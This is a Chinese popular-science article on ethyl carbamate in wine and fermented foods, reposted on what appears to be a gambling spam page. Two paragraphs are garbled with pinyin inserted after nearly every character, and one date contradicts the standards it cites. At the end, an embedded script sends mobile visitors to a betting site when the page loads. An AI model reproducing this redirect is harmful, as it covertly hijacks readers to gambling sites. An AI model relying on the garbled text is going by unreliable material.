ag8老虎机

美酒里的“致癌物”,我们需要担忧吗?

  作者:   日期:2016-03-11   信息来源:http://www.chinafic.org/html/luntan/2340.html   点击:6216

  在《名贤集》里有这么一句话,叫作“酒要少吃,事要多知”。这就告诫人们,美酒虽美,但要适量。饮酒适量是个老生常谈的话题,大家都知道,酒里含有酒精、杂醇油、醛类物质等成分,饮酒过量对于身体不利,但在美酒里还有一种物质也应该受到人们的关注。

  这是个什么玩意?

  这种物质叫做氨基甲酸乙酯,英文名称是Ethyl carbamate,也简称为EC。世界各国的研究者在蒸馏酒(比如白兰地和威士忌)、酿造酒(比如葡萄酒和黄酒)以及酱油和面包等发酵饮料和食品中都检测到了这种物质的存在。


 

\


  这种物质有什么问题呢?先来看看国际癌症研究中心(IARC)对它的分级。这个研究中心是世界卫生组织下属的官方癌症研究机构,自1971年以来就对900多个因素进行了评估,其中有400多个被确定为对人类致癌或者可能致癌。他们把将致癌的因素分为5大类4等级,即致癌、可能致癌、未知和可能不致癌四个级别,其中可能致癌级别又细分为A类和B类。而我们提到的氨基甲酸乙酯,也就是EC,在2007年4月10日,被该研究中心列为2A级别,和丙烯酰胺、无机铅化合物、氯毒素等归为一类。也就是说,EC可能是“美酒里的致癌物”。

  这东西是怎么跑到酒里来的?

  氨基甲酸乙酯,被广泛应用于工业涂料领域,那么它又是怎么进入我们的美酒中的呢?其实,它是食品在发酵过程中的伴随产物,不仅仅是美酒,在面包、酸奶等食物中都会存在,而且这种物质也是烟草叶及香烟的天然成分之一。


 

\


  以(yi)葡(pu)萄(tao)酒(jiu)(jiu)(jiu)为(wei)例。葡(pu)萄(tao)酒(jiu)(jiu)(jiu),在(zai)(zai)(zai)人们的(de)(de)(de)(de)心中(zhong)(zhong)(zhong)(zhong),经常以(yi)健康的(de)(de)(de)(de)形(xing)象出现,但对于葡(pu)萄(tao)酒(jiu)(jiu)(jiu)而言(yan),同样(yang)存在(zai)(zai)(zai)氨(an)(an)(an)(an)基甲(jia)(jia)(jia)酸(suan)乙酯,这种物(wu)质(zhi)的(de)(de)(de)(de)形(xing)成(cheng)伴随葡(pu)萄(tao)酒(jiu)(jiu)(jiu)从酿(niang)造到饮用的(de)(de)(de)(de)全部过(guo)(guo)程(cheng)。氨(an)(an)(an)(an)基甲(jia)(jia)(jia)酸(suan)乙酯是由氨(an)(an)(an)(an)甲(jia)(jia)(jia)酰(xian)化(hua)合(he)物(wu)和(he)乙醇反应生(sheng)成(cheng)的(de)(de)(de)(de)。氨(an)(an)(an)(an)甲(jia)(jia)(jia)酰(xian)化(hua)合(he)物(wu)在(zai)(zai)(zai)人们的(de)(de)(de)(de)生(sheng)活中(zhong)(zhong)(zhong)(zhong)并(bing)不陌生(sheng),比(bi)如尿(niao)液中(zhong)(zhong)(zhong)(zhong)含有的(de)(de)(de)(de)尿(niao)素,就是一种典型的(de)(de)(de)(de)氨(an)(an)(an)(an)甲(jia)(jia)(jia)酰(xian)化(hua)合(he)物(wu)。氨(an)(an)(an)(an)甲(jia)(jia)(jia)酰(xian)化(hua)合(he)物(wu)可随原料带入或(huo)由酿(niang)酒(jiu)(jiu)(jiu)酵(jiao)母的(de)(de)(de)(de)自身氮(dan)代(dai)谢(xie)生(sheng)成(cheng)。比(bi)如在(zai)(zai)(zai)葡(pu)萄(tao)生(sheng)长的(de)(de)(de)(de)过(guo)(guo)程(cheng)中(zhong)(zhong)(zhong)(zhong),人们会(hui)为(wei)葡(pu)萄(tao)添加(jia)(jia)氮(dan)类(lei)肥(fei)料,或(huo)者在(zai)(zai)(zai)葡(pu)萄(tao)酒(jiu)(jiu)(jiu)发酵(jiao)的(de)(de)(de)(de)过(guo)(guo)程(cheng)中(zhong)(zhong)(zhong)(zhong),为(wei)酵(jiao)母添加(jia)(jia)氮(dan)类(lei)原料,这些都会(hui)使发酵(jiao)的(de)(de)(de)(de)葡(pu)萄(tao)酒(jiu)(jiu)(jiu)中(zhong)(zhong)(zhong)(zhong)尿(niao)素含量增加(jia)(jia)。而且(qie)酵(jiao)母本身也能(neng)够通过(guo)(guo)代(dai)谢(xie)产生(sheng)尿(niao)素,这样(yang)在(zai)(zai)(zai)酿(niang)造过(guo)(guo)程(cheng)中(zhong)(zhong)(zhong)(zhong)就会(hui)产生(sheng)氨(an)(an)(an)(an)基甲(jia)(jia)(jia)酸(suan)乙酯。除此(ci)之外(wai),即使在(zai)(zai)(zai)葡(pu)萄(tao)酒(jiu)(jiu)(jiu)储存的(de)(de)(de)(de)过(guo)(guo)程(cheng)中(zhong)(zhong)(zhong)(zhong),乙醇和(he)尿(niao)素形(xing)成(cheng)氨(an)(an)(an)(an)基甲(jia)(jia)(jia)酸(suan)乙酯的(de)(de)(de)(de)反应也仍(reng)然会(hui)继续,只不过(guo)(guo)此(ci)阶段形(xing)成(cheng)的(de)(de)(de)(de)速度(du)比(bi)较缓慢(man)而已(yi)。

 

\


  需要担忧饮用美酒吗?

  看到这里,很多人可能会感到疑惑和不安,一手是盛满美酒的酒杯,一手是内心的不安,两者如何抉择?还能愉快的喝点小酒吗?


 

\


  存在并不可怕,还是要看剂量。先让我们来看看限定标准。 20世纪初,欧美各国就陆续制定了氨基甲酸乙酯的限定标准。比如1985年,加拿大就对各种类型酒的氨基甲酸乙酯进行了限定: 佐餐酒 30 μg/L、加强葡萄酒 100 μg/L、蒸馏酒 150 μg/L、日本清酒100 μg/L。而美国则限定葡萄酒与加强葡萄酒的氨基甲酸乙酯分别不得超过15 μg/L和60 μg/L。2002年,氨基甲酸乙酯就已经成为联合国粮农组织重点监控物质,并制定了国际标准,规定其含量不得超过20 μg/L,可以认为,只要是符合标准的,就可以放心。

  那么,我们的酒是否存在EC超标的情况呢?并没有。

  国内有研究针对国内的葡萄酒,包括干红和干白,进行了氨基甲酸乙酯含量的调查。数据表明,干红葡萄酒的氨基甲酸乙酯含量平均17.90 μg /L,干白葡萄酒中的平均含量为 11. 35 μg /L。可以看出,国内葡萄酒的氨基甲酸乙酯含量没有超过国际标准。


 

\


  另外,2009 年,在香港食物安全中心刊物《食物安全焦点》上,曾公布了饮料酒中氨基甲酸乙酯含量的调查,结果显示,不论是从检测范围还是检测平均值,白酒都是所测酒种中除了啤酒和葡萄酒以外含量最低的酒种。

  而且,氨基甲酸乙酯虽然是2A类致癌物,不过,这个是说明它会导致动物致癌,目前并并没有足够证据表明对人类致癌。

  事实上,氨基甲酸乙酯的问题发现后,食品和酿造行业也在技术层面采取了积极的改善和控制措施,如选育更为优良的发酵微生物、优化关键工艺以及使用脲酶,等等,也能够有效的减少EC的产生,大家还是不用太担心。

  美酒虽好,可不要贪杯


 

\


  当然,喝(he)酒还是(shi)要看(kan)控制量(liang)(liang),贪(tan)杯可不好(hao)。那(nei)么(me)饮(yin)多(duo)少酒才合适(shi)呢?世(shi)界卫(wei)生组织曾(ceng)评(ping)估(gu)了氨(an)(an)基甲(jia)(jia)酸(suan)乙(yi)(yi)酯的(de)(de)(de)(de)安全(quan)性。结果(guo)表明(ming),一(yi)个体重为60kg的(de)(de)(de)(de)成年人,每(mei)天摄入(ru)氨(an)(an)基甲(jia)(jia)酸(suan)乙(yi)(yi)酯含量(liang)(liang)在0.3mg以(yi)下都是(shi)安全(quan)的(de)(de)(de)(de)。对应(ying)上述的(de)(de)(de)(de)限定(ding)可以(yi)看(kan)出,安全(quan)范(fan)围还是(shi)很宽(kuan)泛的(de)(de)(de)(de)。比如(ru),以(yi)蒸馏(liu)(liu)酒为例,如(ru)果(guo)饮(yin)用的(de)(de)(de)(de)蒸馏(liu)(liu)酒符合标(biao)准的(de)(de)(de)(de)话(hua),一(yi)个人一(yi)天喝(he)2升,也就是(shi)4斤,只(zhi)在氨(an)(an)基甲(jia)(jia)酸(suan)乙(yi)(yi)酯层面(mian)来衡量(liang)(liang)的(de)(de)(de)(de)话(hua),是(shi)安全(quan)的(de)(de)(de)(de)。而(er)且(qie),即使你(ni)真(zhen)的(de)(de)(de)(de)每(mei)天喝(he)那(nei)么(me)多(duo)酒,酒精的(de)(de)(de)(de)危害也比氨(an)(an)基甲(jia)(jia)酸(suan)乙(yi)(yi)酯要大且(qie)确凿的(de)(de)(de)(de)多(duo)。不过(guo),值得注意的(de)(de)(de)(de)是(shi),如(ru)果(guo)加(jia)(jia)热饮(yin)用,加(jia)(jia)热的(de)(de)(de)(de)温度将直接决定(ding)了安全(quan)饮(yin)用的(de)(de)(de)(de)范(fan)围。

 

\


  对(dui)于消费者来(lai)说,也应该在(zai)选购(gou)和饮用方面多加(jia)注意。对(dui)于自(zi)(zi)酿、自(zi)(zi)制(zhi)的(de)(de)酒(jiu),应该理(li)性对(dui)待,而对(dui)于陈年、陈酿的(de)(de)酒(jiu),也应该抱有科(ke)学理(li)性的(de)(de)态(tai)度。自(zi)(zi)酿自(zi)(zi)制(zhi)很可(ke)(ke)能在(zai)工艺上不过关,且还没有采取相应的(de)(de)控制(zhi)手段,可(ke)(ke)能产(chan)生更(geng)多的(de)(de)氨基(ji)甲(jia)酸乙(yi)酯。陈年贮(zhu)存也是氨基(ji)甲(jia)酸乙(yi)酯形成的(de)(de)因素之(zhi)一(yi),自(zi)(zi)己家里的(de)(de)酒(jiu)在(zai)储存的(de)(de)过程中(zhong),应该注意避光、低温(wen),尽量控制(zhi)氨基(ji)甲(jia)酸乙(yi)酯形成的(de)(de)条件,减缓形成过程。

 

  作者:李虓,发酵工程硕士,酒类、食品类研究者,行业观察评论员,《国家名酒评论》编辑,酿酒师,科普作家。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();